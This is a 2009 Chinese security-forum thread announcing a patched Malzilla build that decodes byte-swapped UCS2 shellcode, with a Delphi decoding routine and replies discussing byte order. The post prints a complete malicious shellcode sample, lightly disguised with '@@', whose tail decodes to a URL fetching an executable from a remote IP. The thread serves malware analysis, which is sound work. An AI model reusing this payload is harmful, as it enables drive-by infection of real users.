查看: 4819|回复: 10
收起左侧

[未鉴定] Malzilla 1.20 增加直接解码Shellcoded_UCS2功能版本

[复制链接]
nzyq
发表于 2009-2-8 03:03:01 | 显示全部楼层 |阅读模式
老地址下载:http://bbs.nettf.net/malzilla.rar     更新标识为 [v1.20 patch 3]
效果如图示:
33333333.jpg

测试Shellcode代码(由我是小虫(LC)提供):
@@9090@@9090@@0feb@@335b@@66c9@@80b9@@8001@@ef33@@e243@@ebfa@@e805@@ffec@@ffff@@8b7f@@df4e@@efef@@64ef@@e3af@@9f64@@42f3@@9f64@@6ee7@@ef03@@efeb@@64ef@@b903@@6187@@e1a1@@0703@@ef11@@efef@@aa66@@b9eb@@7787@@6511@@07e1@@ef1f@@efef@@aa66@@b9e7@@ca87@@105f@@072d@@ef0d@@efef@@aa66@@b9e3@@0087@@0f21@@078f@@ef3b@@efef@@aa66@@b9ff@@2e87@@0a96@@0757@@ef29@@efef@@aa66@@affb@@d76f@@9a2c@@6615@@f7aa@@e806@@efee@@b1ef@@9a66@@64cb@@ebaa@@ee85@@64b6@@f7ba@@07b9@@ef64@@efef@@87bf@@f5d9@@9fc0@@7807@@efef@@66ef@@f3aa@@2a64@@2f6c@@66bf@@cfaa@@1087@@efef@@bfef@@aa64@@85fb@@b6ed@@ba64@@07f7@@ef8e@@efef@@aaec@@28cf@@b3ef@@c191@@288a@@ebaf@@8a97@@efef@@9a10@@64cf@@e3aa@@ee85@@64b6@@f7ba@@af07@@efef@@85ef@@b7e8@@aaec@@dccb@@bc34@@10bc@@cf9a@@bcbf@@aa64@@85f3@@b6ea@@ba64@@07f7@@efcc@@efef@@ef85@@9a10@@64cf@@e7aa@@ed85@@64b6@@f7ba@@ff07@@efef@@85ef@@6410@@ffaa@@ee85@@64b6@@f7ba@@ef07@@efef@@aeef@@bdb4@@0eec@@0eec@@0eec@@0eec@@036c@@b5eb@@64bc@@0d35@@bd18@@0f10@@64ba@@6403@@e792@@b264@@b9e3@@9c64@@64d3@@f19b@@ec97@@b91c@@9964@@eccf@@dc1c@@a626@@42ae@@2cec@@dcb9@@e019@@ff51@@1dd5@@e79b@@212e@@ece2@@af1d@@1e04@@11d4@@9ab1@@b50a@@0464@@b564@@eccb@@8932@@e364@@64a4@@f3b5@@32ec@@eb64@@ec64@@b12a@@2db2@@efe7@@1b07@@1011@@ba10@@a3bd@@a0a2@@efa1@@7468@@7074@@2f3a@@312f@@3132@@312e@@2e32@@3731@@2e33@@3132@@2f38@@7865@@3165@@632f@@2e78@@7363@@0073


--------------------------------------------------------------------------------------------------
解码原理:
以@@7468@@7074@@2f3a@@312f@@3132@@312e@@2e32@@3731@@2e33@@3132@@2f38@@7865@@3165@@632f@@2e78@@7363@@0073为例,按照一般的UCS2,把%u修饰符去掉,则%u7468=7468,转成文字是ChrW(&H7468)=乱码,这是因为这种UCS2并不是将字符串Hex化再加%u的,而是它本来就已经是Hex了,正确的解码方法如下:
首先将%u修饰符全部去掉,得:
74 68 70 74 2f 3a 31 2f 31 32 31 2e 2e 32 37 31 2e 33 31 32 2f 38 78 65 31 65 63 2f 2e 78 73 63 00 73
但是仅仅这样的话,会发现这串hex显示出来的字符虽然可读,但是很混乱,这是因为这种UCS2将高低位字节给调换了,如%u7468,实际上它是68 74,所以在删除%u过程中需要将高低位恢复:
68 74 74 70 3a 2f 2f 31 32 31 2e 31 32 2e 31 37 33 2e 32 31 38 2f 65 78 65 31 2f 63 78 2e 63 73 73 00
这时候ChrW(&H68)就能显示真正的对应字符h了,它是单个字节的16bit编码,不需要用解开普通UCS2编码那样双字节一起解,以上hex全部转成对应的ASCII字符形式为:h**p://121.12.173.218/exe1/cx.css,最后的00为NullChar结束符。顺便提一句,FreShow的作者在转换这种形式的UCS2上忽略了将高低位互换,所以他解成了thpt/:1/121..271.312/8xe1ec/.xscs,每两位字符顺序颠倒了。
--------------------------------------------------------------------------------------------------
增加的按钮事件代码:
  1. procedure TfrmMain.btDecodeShellcodeUCS2Click(Sender: TObject);
  2. var
  3.   tmpDecodeShellcode:WideString;
  4.   tmp: integer;
  5.   i: integer;
  6.   tmpConvertedChar:WideString;
  7. begin
  8.   tmpDecodeShellcode:='';
  9.   mmMiscDec.Text := Tnt_WideStringReplace(mmMiscDec.Text, ' ', '', [rfReplaceAll]);
  10.   if edDelimiter.Text <> '' then
  11.     tmpDecodeShellcode := uni2byte(trim(mmMiscDec.Text), edDelimiter.Text)
  12.   else
  13.     tmpDecodeShellcode := uni2byte(trim(mmMiscDec.Text), '%u');
  14.   begin
  15.   i:= 1;
  16.     while i <= length(tmpDecodeShellcode) do
  17.     begin
  18.       tmp := HexToInt(copy(tmpDecodeShellcode, i, 2));
  19.      tmpConvertedChar:=tmpConvertedChar + WideString(chr(tmp));
  20.       inc(i, 2);
  21.     end;
  22.       mmMiscDec.Text:=Tnt_WideStringReplace(tmpConvertedChar,#0,'',[rfReplaceAll]);
  23.   end;
  24. end;
复制代码


aarwwefdds注:
为防止杀软误报,我修改其中的Shellcode,请在测试时将@@替换为%u(话说已经有杀软误报了,不知如何解决)
另外,将按钮事件代码放入code标签
End


[ 本帖最后由 aarwwefdds 于 2009-2-8 13:11 编辑 ]

评分

参与人数 1经验 +10 收起 理由
molicn + 10 值得学习的文章

查看全部评分

e54hacker
发表于 2009-2-8 10:28:18 | 显示全部楼层
很强悍的一说,强烈支持小金继续增强功能!
lichun005
发表于 2009-2-8 10:34:14 | 显示全部楼层
昨天你单独分开了shellcode这项,和原版和不同,ms没用啊!
用shellcode可以直接解出,没找xor,操作有问题,呵呵,支持下
NETTF小金
发表于 2009-2-8 11:32:59 | 显示全部楼层
终于注册上了,哎,谢谢昨晚aarwwefdds给的个临时帐号发帖。

bobby近期内是不想更新Malzilla的了,他说有个更强悍的工具想法,估计又奋斗去了,希望到时候我们有更好的工具玩。
lichun005
发表于 2009-2-8 13:58:31 | 显示全部楼层
不需要测试了,小金加上的usc2shellcode可以直接解出,版本不一样也会有很多的不同,最新汉化了的,已经解决了这问题
小金是偶像
秋叶濛濛
发表于 2009-2-8 14:02:40 | 显示全部楼层
支持下~这工具合理运用很方便

而且汉化得很不错~
knifed
发表于 2009-2-8 14:41:26 | 显示全部楼层
下载.效果很好.
雨宫优子
发表于 2009-2-8 15:04:50 | 显示全部楼层
FreShow的作者在转换这种形式的UCS2上忽略了将高低位互换,所以他解成了thpt/:1/121..271.312/8xe1ec/.xscs,每两位字符顺序颠倒了。

话说Freshow的作者没搞错


解UCS2时,第一次ESC转换成\x形式,就已经把%uaabb换成了\xbb\xaa,也就是%ubbaa,然后转成ASCII..
NETTF小金
发表于 2009-2-8 17:55:48 | 显示全部楼层
测试了一下,果然要两步走,直接转的话就顺序反了……

[ 本帖最后由 NETTF小金 于 2009-2-8 18:11 编辑 ]
1e3e
头像被屏蔽
发表于 2009-2-11 14:00:08 | 显示全部楼层
希望Malzilla越来越强大
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-15 19:46 , Processed in 0.133871 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表